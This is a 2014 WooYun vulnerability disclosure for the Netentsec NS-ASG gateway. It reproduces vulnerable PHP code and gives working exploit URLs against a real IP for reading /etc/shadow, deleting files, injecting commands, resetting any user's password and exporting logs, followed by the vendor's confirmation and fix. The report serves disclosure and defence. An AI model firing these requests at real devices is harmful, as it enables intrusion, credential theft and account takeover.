当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058932

漏洞标题:网康 NS-ASG 所有版本漏洞礼包(多处任意文件下载、删除、sql注入、任意用户密码重置及任意命令执行可getshell)

相关厂商:网康科技

漏洞作者: 倪明

提交时间:2014-04-30 11:22

修复时间:2014-07-29 11:24

公开时间:2014-07-29 11:24

漏洞类型:设计不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-30: 细节已通知厂商并且等待厂商处理中
2014-05-01: 厂商已经确认,细节仅向厂商公开
2014-06-25: 细节向核心白帽子及相关领域专家公开
2014-07-05: 细节向普通白帽子公开
2014-07-15: 细节向实习白帽子公开
2014-07-29: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

这程序写的...

详细说明:

case "download":
downloadfile($filename);


case "tarfile":
$count = count($logfile);
if($count <=0)
show_error("未选择打包文件!");

$filename = "/tmp/".date("Y-m-d-H-i-s", time())."-http-tarfile.tgz";
$commstr = "sudo tar -czvf $filename ";
for($i = 0; $i<$count; $i++)
$commstr .= " /tmp/rproxy/$logfile[$i]";
exec($commstr);
downloadfile($filename);
break;


function downloadfile($filename)
{
$strFullPath=$filename;
$name=trim(basename($strFullPath));
header("Expires: " . gmdate("D, d M Y H:i:s",time()+24*3600) . " GMT");
header("Cache-Control:");
header("Pragma: cache");
header("Connection: close");

if(strpos(getenv("HTTP_USER_AGENT"), "MSIE")) {
header("Content-type: application/download");
header("Content-Disposition: filename=$name");
header("Cache-Control: store, cache, must-revalidate, post-check=0, pre-check=0");
header("Keep-Alive: close");
}
else
{
header("Cache-Control: store, cache, must-revalidate, post-check=0, pre-check=0");
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment;filename=$name");
}

$fp=fopen($strFullPath,"rb");
fpassthru($fp);
flush();
exit;
}


下载任意文件
https://202.113.20.208/debug/rproxy_diag.php?action=download&filename=/etc/shadow
https://202.113.20.208/debug/rproxy_diag.php?action=tarfile&search=&logfile%5B%5D=../../../etc/passwd

case "delete":
$count = count($logfile);
if($count <=0)
show_error("未选择操作数据行!");
for($i = 0; $i<$count; $i++)
{
$del = "sudo rm -f ".$logfile[$i];
system($del);
}


删除任意文件及任意命令执行
任意文件删除:
https://202.***.208/debug/list_logfile.php?logfile%5B%5D=%2FIsc%2FLog%2Fsshd.log&action=delete
命令执行:
https://202.***.208/debug/list_logfile.php?logfile%5B%5D=%2FIsc%2FLog%2Fsshd.log;echo test >/Isc/third-party/httpd/htdocs/t.txt;&action=delete
任意用户密码重置

switch ($action)
{
case "":
$dbh = db_connect();
$reqpara;
$select = "select UserId,UserName,Password,EmailAddr from ISCUserTable where UserName='$username'";
$res = db_query($dbh,$select,'查询找回密码用户的信息');
list($UserId,$UserName,$Password,$EmailAddr)=db_fetch_row($res);
$r_str = md5(base64_encode($UserName."*".$Password."*".$EmailAddr));
$mesgstr="";
db_close($dbh);
if($r_str != $reqpara)
{
$mesgstr = "&nbsp;此链接已经失效!";
form_logon($UserId,$UserName,$para,$mesgstr,true);
}
else
form_logon($UserId,$UserName,$para,$mesgstr,false);
break;
case "update": 这里开始
$dbh = db_connect();
$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";
db_update($dbh,$update,"重置密码");
form_logon($UserId,"",$para,"&nbsp;重置密码成功!",true);
db_close($dbh);
break;
}


搞笑有爱啊
https://202.***.208/vpnweb/resetpwd/resetpwd.php?action=update&UserId=2048&password1=test123456
这里也没做啥有用的过滤 所以同样可以注入
还有越权下载日志:

switch ($type) {
case 'syslog':
echo "用户,日志产生时间,SessionId,日志内容";
print("\n");
$query = db_query($dbh, "SELECT UserName,LogTime,SessionId,LogMessage FROM LogTable", "查询日志信息");
while ($LogInfo = db_fetch_array($query)) {
echo $LogInfo['UserName'] . "," . $LogInfo['LogTime'] . "," . $LogInfo['SessionId'] . "," . $LogInfo['LogMessage'];
print("\n");
}
break;
case 'userflow':
echo "用户名,总数据量,本次记录数据量,本次上线数据量,当前数据量,记录时间";
print("\n");
$query = db_query($dbh, "SELECT UserName,GrossWorkload,WorkLoad,SessionWorkload,DailyWorkLoad,WorkloadLogTime FROM ISCWorkloadTable", "查询用户统计信息");
while ($userflow = db_fetch_array($query)) {
echo $userflow['UserName'] . "," . $userflow['GrossWorkload'] . "," . $userflow['WorkLoad'] . "," . $userflow['SessionWorkload'] . "," . $userflow['DailyWorkLoad'] . "," . $userflow['WorkloadLogTime'];
print("\n");
}
break;
case 'userapp':
echo "用户名,应用程序名,客户端应用程序名,描述,日期";
print("\n");
$query = db_query($dbh, "SELECT UserName,AppName,ClientAppName,Description,LogTime FROM ClientAppLog", "查询用户统计信息");
while ($userapp = db_fetch_array($query)) {
echo $userapp['UserName'] . "," . $userapp['AppName'] . "," . $userapp['ClientAppName'] . "," . $userapp['Description'] . "," . $userapp['LogTime'];
print("\n");
}
break;
case 'userlogin':
echo "用户名,域名,用户组,登录时间,退出时间,客户端IP,客户分配IP,流量,速度";
print("\n");
$query = db_query($dbh, "SELECT Domain,GroupName,UserName,LogonTime,LogoutTime,ClientIP,AssignedIP,WorkLoad,OverSpeed FROM ISCUserActivityLog WHERE LogoutTime<>'0000-00-00 00:00:00'", "查询用户统计信息");
while ($userlogin = db_fetch_array($query)) {
echo $userlogin['UserName'] . "," . $userlogin['Domain'] . "," . $userlogin['GroupName'] . "," . $userlogin['LogonTime'] . "," . $userlogin['LogoutTime'] .
"," . $userlogin['ClientIP'] . "," . $userlogin['AssignedIP'] . "," . $userlogin['WorkLoad'] . "," . $userlogin['OverSpeed'];
print("\n");
}
break;
case 'url':
echo "用户名,主机,URL地址,统计时间";
print("\n");
$query = db_query($dbh, "SELECT UserName,Host,Url,LogTime FROM UrlLogTable", "查询url访问统计");
while ($url = db_fetch_array($query)) {
echo $url['UserName'] . "," . $url['Host'] . "," . $url['Url'] . "," . $url['LogTime'];
print_r("\n");
}
break;
}


https://202.113.20.208/admin/export_log.php?type=syslog
https://202.113.20.208/admin/export_log.php?type=userflow
https://202.113.20.208/admin/export_log.php?type=userapp
https://202.113.20.208/admin/export_log.php?type=userlogin
https://202.113.20.208/admin/export_log.php?type=url

漏洞证明:

8D35EF7C-0D5B-40E3-A9E1-511A408FA5E4.png


EBD2F20C-8CC5-4EEB-A5A7-822097B05632.png

修复方案:

版权声明:转载请注明来源 倪明@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-01 22:02

厂商回复:

4月29日,网康收到CNVD漏洞细节通知,迅速启动并同时展开了以下工作:
1.进一步验证漏洞细节,目前已确认所曝漏洞确实存在于ASG产品;
2.对全线产品进行安全自查,重点确认ASG产品是否仍存其它未知漏洞,并验证类似漏洞是否同存于其它产品线,截至目前,自查工作仍在进行中,全线产品暂未发现新的漏洞;
3.开发用于漏洞修补的更新程序,将尽快发布应急补丁包,介时用户可通过操作设备管理界面直接安装该更新程序以对所曝漏洞进行应急性修补;
4.售后服务部通过内部CRM系统导出全部ASG用户名单,并开始逐一联系用户通报漏洞情况,补丁包发布后,将再次逐一通知所有用户及时安装更新,此项工作预计3工作日内完成;
5.为避免统计疏漏,工程部于4月30日16:00向CNVD共享了在线ASG设备的辨识方法,将配合CNVD共同开展在线设备的主动探测工作,一旦发现未更新补丁的在线设备,将联系并协助用户及时更新,此项工作预计10工作日内完成;
6.将尽快向社会开放漏洞提交邮箱,接受第三方机构、白帽子及其它组织、个人向网康提交产品漏洞,向所有帮助网康产品进步的组织和人士表示感谢。

最新状态:

2014-07-17:已随版本更新解决